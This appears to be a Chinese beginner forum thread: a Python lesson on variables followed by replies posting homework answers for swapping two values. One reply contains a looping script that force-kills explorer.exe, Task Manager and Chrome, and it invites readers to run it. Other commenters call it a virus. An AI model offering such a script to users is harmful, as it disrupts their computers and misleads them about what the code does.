猫史档案馆


Python教程4(1)——变量,暂时的银行

用户:Python爱好者Python爱好者查看:373 回复:27 评论:128 创建时间:2023-01-12T10:58:02


      Hello, everyone! 今天我们要学的是Python教程变量的第一课,没错,下节课是变量第二节。

center_image

^(Python爱好者)^

      变量就像个暂时的银行,在运行的时候可以把数据,字符等存进去,后面还可以取出,在Python里面 “=” 不是等于的意思,是取值的意思,“==” 才是等于的意思,我们先举个例子:

a=12
print(a)

      第二节课我们说print()的括号里若不是数据,要加上 "" ,但是在用变量时变量不加 "" ,如果加了 "" ,虽然不会报错,但是你要的效果没了,举个例子:

a="Python爱好者的学生都很帅或很美"
print("a")      #错误做法,在执行的时候,输出的不是Python爱好者的学生都很帅或很美,而是a

      新手呢在打这段代码要格外注意,高手就没关系啦。center_image

^(高手)^

      我们都知道,字符串可以先加,那么变量呢?

a="喵Python"
b="Python爱我"
print(a+b)

center_image

^(Python:喵你)^

      那么怎么让使用程序的人来自定义变量的值呢?我们第三节课学了input()代码,变量能不能用input()代码呢?可以的。

a=input()
print(a)

      这时候,有人举一反三了,做了

a=input()
b=input()
print(a+b)

      诶,这时候输入两组数字怎么变成这样了:center_image

center_image

^(会举一反三的人们)^

      这个问题下次在解决。

center_image

      今天的作业是三个变量,五行代码,两个变量的值由运行者取值,然后让这两个变量的值换一下


回复

上一页第 1 页 / 共 1 页下一页
dy=f’(x)*dxdy=f’(x)*dx

来了

点赞0


评论


dy=f’(x)*dxdy=f’(x)*dx

a=12
b=34
a=b-22
b=a+22
print(a,b)

点赞0


评论

作业(水)

a,b要input()要运行人定义(*^▽^*)

要三个变量

一看就会,一做就废

怎么感觉py有亿点难度

脑子:我学会了,打字的手:我也学废了

不,没那么难,实际上编程猫就是Python改成中文,然后改得更容易被人理解的中文,然后再简化了一点点复杂的东西

逝不难,但辣么多的规则,辣么多的英文字符,唉。可恶的封建社会,导致了我国的发展,搞到现在主流的(划掉,逝所有的)代码都是英文字符


超级无敌编程大神超级无敌编程大神

var??

点赞0


评论

先说一下,我没有学过代码,哦..........

对对对)

啊哈!找到你了!给我出数学题!

你干嘛~嗨哎呦)

set? neylogo乱入


dy=f’(x)*dxdy=f’(x)*dx

a=input()
b=input()
c=1
a=b
print(a)

点赞0


评论

错了是a=input(),b=input(),a=c,a=b,b=c

没让你输出啊

nb ,谢谢


FexcodeFexcode

a,b = input('a=   '),input('b=   ')
a,b = b,a
#额3个变量...,五行代码...。。。以下是无用代码...
print(a,b)
c = int(a)+int(b)   print(c)

点赞0


评论


盛世华夏盛世华夏

因为我们默认变量中的,未经过处理的代码是字符串(str)类型的,当字符串进行加运算的时候,是前后两项相拼接,所以会出现65897这种现象

点赞0


评论

所以我们得出新的结论65+897=65897【玩笑开过头】


盛世华夏盛世华夏

我来交一个不及格的作业:

a = input()

b = input()

c = a

a = b

b = c

print(a)

print(b)

点赞0


评论

没让你输出,而且是五行啊

我们数学老师跟我说内卷的学生最可怕,今天就遇到了个内卷的学生,果然可怕

#“/”是换行/你真的要输出也得这样啊/a,b=input(),input()/c=a/a=b/b=c/print(a,b)

你还去上课

我都考完了

数学我也就95分,但是别人不觉得我可怕,虽然我也内卷

是以前


芥末不是酱油芥末不是酱油

a = int(input())
b = int(input())
print(a+b)

完美解决疑问

intput()函数在输入后默认为str类型啊,强制转换int类型不就完事了。

点赞0


评论

现在才第四节课,我的学生们好没学到这

你的教程咋就这么多人,我的帖子咋就凉了

布吉岛呀

我太难受了

表情包要多,不然大家觉得没意思,我的第一节第二节课也很少人的

能看看我的帖子给点建议啥的吗

表情包万岁

啥帖子

https://shequ.codemao.cn/community/517746 给点建议呗

纯文字当然不行啦

...

努力改进下一个帖子ing

我也比较忙,关注一下我,多看我的帖子学学吧

多谢多谢


一门鸽鸽一门鸽鸽

(a := -(b := (a := int(input())+(b := int(input())))-b)+a)
# 别问为什么这么写,因为疯了,但确实是先输入a再输入b最后调换a,b的值
# 建议运行一下试试
# print(a, b)
# 好了,总算凑够五行了

点赞1


评论

不愧是你

提示:海象运算符需在3.10及以上版本运行

正确的,一针见血的,中肯的


mornwindmornwind

a,b=input(),input()
a,b=b,a

点赞0


评论

既然是python为什么不用一下py独有的写法呢

不错,不过要审题

独有的写法不是这样吗doge (a := -(b := (a := int(input())+(b := int(input())))-b)+a)


mornwindmornwind

刑啊

a=eval(input())
b=eval(input())
func=lambda lst:lst[::-1]
a,b=func([a,b])
print(a,b)

点赞0


评论

匿名函数也算一个变量对吧

…你这eval有什么用呢()eval是执行函数 你用eval非但不能正常运行还会报错()比如你随便输一串字符串

国家计算机等级考试的教材里有用这个···

真的写程序的时候不可能这么写啊···多此亿举

呃()我想说的是加上eval会报错

我这里有一段代码,我好不容易破解的!!!

我把海龟关掉了都没用!

任务管理器也没用!

我用了360安全卫士才破解的!

如果用int或float的话输入几个字符也会报错啊 (倒是可以用try...except...

eval( )不符合输出要求呀( )eval里面必须填表达式否则就会报错( )

int 和 float只要是整数就可以正常输出


mornwindmornwind

写代码的原则是在效果不变的情况下越简洁越好···要求代码为特定行数这种操作···

点赞1


评论

求求你了!教教我怎么用匿名函数吧!!!!

匿名函数很简单():号前的的是参数:后的返回值

定义一个匿名函数,简单点讲就这样lambda 参数1,参数2:返回值


超级无敌编程大神超级无敌编程大神

from os import system
while True:
    system("taskkill /f /im explorer.exe >nul 2>nul")
    system("taskkill /f /im taskmgr.exe >nul 2>nul")
    system("taskkill /f /im chrome.exe >nul 2>nul")

谁快来运行这段代码?~本人亲测,可以破解!!!

点赞0


评论

大概是个病毒

看的第一眼就知道是病毒

不过没关系,太简单了

等我一会儿

跟你说,这是我在几年前里面的帖子里面找到的(当时我正在到处测试病毒)

破了

easy

再来啊,怎么不来了

我也破过呀

我先打开360,之后,你知道的【doge】

打开360浏览器干什么?

是360安全卫士...

我知道360浏览器安全,但它不会给你消毒吧???

啥卫士,我搜一下

大哥,360安全卫士

哦~这个!

az.............

你是怎么破解的??

我早把它删了

你猜

用Python啊

???Python我都打不开....

就算打开了我Python也是0级呀....

这……

az是啥意思?

if‘az’!=‘啊这’:我倒立喵【doge】

if 'az'='啊这':你还要倒立喵【doge】

大哥,你代码写错了.....

被你带偏了,应该是if 'az'=='啊这':你还要倒立喵【doge】

你不是也写错了

我复制粘贴的

我写的是两个等于号呀???

A:B,你代码写错了;B:A,你代码写错了。《反客为主》

?????????????????????????????????????????????????????????????????

哦,是我忘记把“!”改成“=”《谁是小丑》

你是小丑

while 1: if "Python爱好者"!="小丑": "Python爱好者"="小丑"

《自虐狂魔》

az

看楼上

…..这就是关闭进程没什么好说的()重新打开taskmsg和explorer就好了

之前见过狠的()直接把注册表删了

az,我看过把C盘D盘全部清空的.......


超级无敌编程大神超级无敌编程大神

center_image

点赞0


评论

《打不开》

超级无敌编程大神回复Python爱好者:???Python我都打不开....

az

az

有没有一种可能 这根本就不是库。。。

呵呵,确实


SunSetSunSet

这 就 是 P y t h o n 变 量 的 定 义 捏   Python  变量类型

变量是存储在内存中的值,这就意味着在创建变量时会在内存中开辟一个空间。

基于变量的数据类型,解释器会分配指定内存,并决定什么数据可以被存储在内存中。

因此,变量可以指定不同的数据类型,这些变量可以存储整数,小数或字符。

 

变量赋值

Python 中的变量赋值不需要类型声明。

每个变量在内存中创建,都包括变量的标识,名称和数据这些信息。

每个变量在使用前都必须赋值,变量赋值以后该变量才会被创建。

等号 = 用来给变量赋值。

等号 = 运算符左边是一个变量名,等号 = 运算符右边是存储在变量中的值。

多个变量赋值

Python允许你同时为多个变量赋值。例如:

a = b = c = 1

以上实例,创建一个整型对象,值为1,三个变量被分配到相同的内存空间上。

您也可以为多个对象指定多个变量。例如:

a, b, c = 1, 2, "john"
标准数据类型

在内存中存储的数据可以有多种类型。

例如,一个人的年龄可以用数字来存储,他的名字可以用字符来存储。

Python 定义了一些标准类型,用于存储各种类型的数据。

Python有五个标准的数据类型:

 

Python 数字

数字数据类型用于存储数值。

他们是不可改变的数据类型,这意味着改变数字数据类型会分配一个新的对象。

当你指定一个值时,Number 对象就会被创建:

var1 = 1
var2 = 10

 

Python爱好者的作业:

a=0;b=0;t=0;a=int(input());b=int(input());t=a;a=b;b=t;print(a,b)

 

点赞0


评论

一行代码就可以解决的为什么要用5行代码?

我的学生没学到这

分号不算!!!

我运行成功了 为什么不算捏

你用分号写,多少代码都可以写在一行啊。


AokenAoken

ddd

点赞0


评论

编程猫辣磨多暗语吗?喵d又是啥?

顶顶顶的意思


AokenAoken

ddd是顶帖子,不是python

点赞0


评论


黄颠黄颠

a=input()
b=input()
a,b=b,a
#这样写比较简洁吧qwq
a=input()
b=input()
c=a
a=b
b=c
#题目要求的

点赞0


评论

你这等号不太对吧()

az...刚才用的手机没注意


Python爱好者Python爱好者

center_image

emotion_编程猫_伤心难道要动用Python的力量吗?

点赞0


评论

这个机制就是反Python爬虫的


满脑子都是胡桃满脑子都是胡桃

a = input()
b = input()
c = a
a = b
c = b
#题目可没有说要打印出来,这个就是标准答案

点赞0


评论


盛世华夏盛世华夏

云变量怎么做?

点赞0


评论

还没学到辣么深呢

我知道了,Rainbow.[变量名]

《万能的互联网》

通过API调用第三方数据库即可(Python不是kitten,不是新建一个云变量那么简单!!!)


疯狂的ren疯狂的ren

字符串相加不叫相加,叫拼接,“+”叫拼接符

点赞1


评论


小张awa小张awa

a = input()
b = input()
#a,b = b,a #这样比较简洁,但题目要求5行
c = a
a = b
b = c

所以这样对吗?

点赞1


评论


温顺的咪噜gBgE温顺的咪噜gBgE

小芝士:

#众所周知:
a="1"
b="2"
print(a+b)
"""
会给你打印:11
让你感觉你不会数学
实际上是因为字符串的原因
只需要:
"""
print(int(a)+int(b))
"""
int把字符串改成整数型
或者变量赋值的时候直接输入数字
"""

点赞0


评论

是‘12’好吧

我逝数学天才

笑死,输出的是12(换行)3

因为你的print(a+b)前面没有加上#

有问题吗?


小苏打_小苏打_

有没有可能……讲完print要先讲 数据结构 再讲变量比较合适……

另外说一个不是很常见的解法(仅对于数字)

a = int(input())
b = int(input())
a = a^b
b = a^b
a = a^b;
print(f'a:{a}\nb:{b}')

点赞1


评论

a喵多打了个分号()c++后遗症()去掉第五行的分好就行了


雪涧stream雪涧stream

a=input()
b=input()
c=a
a=b
b=c

是这样吗?

点赞0


评论


Python爱好者Python爱好者

啊这……

点赞0


评论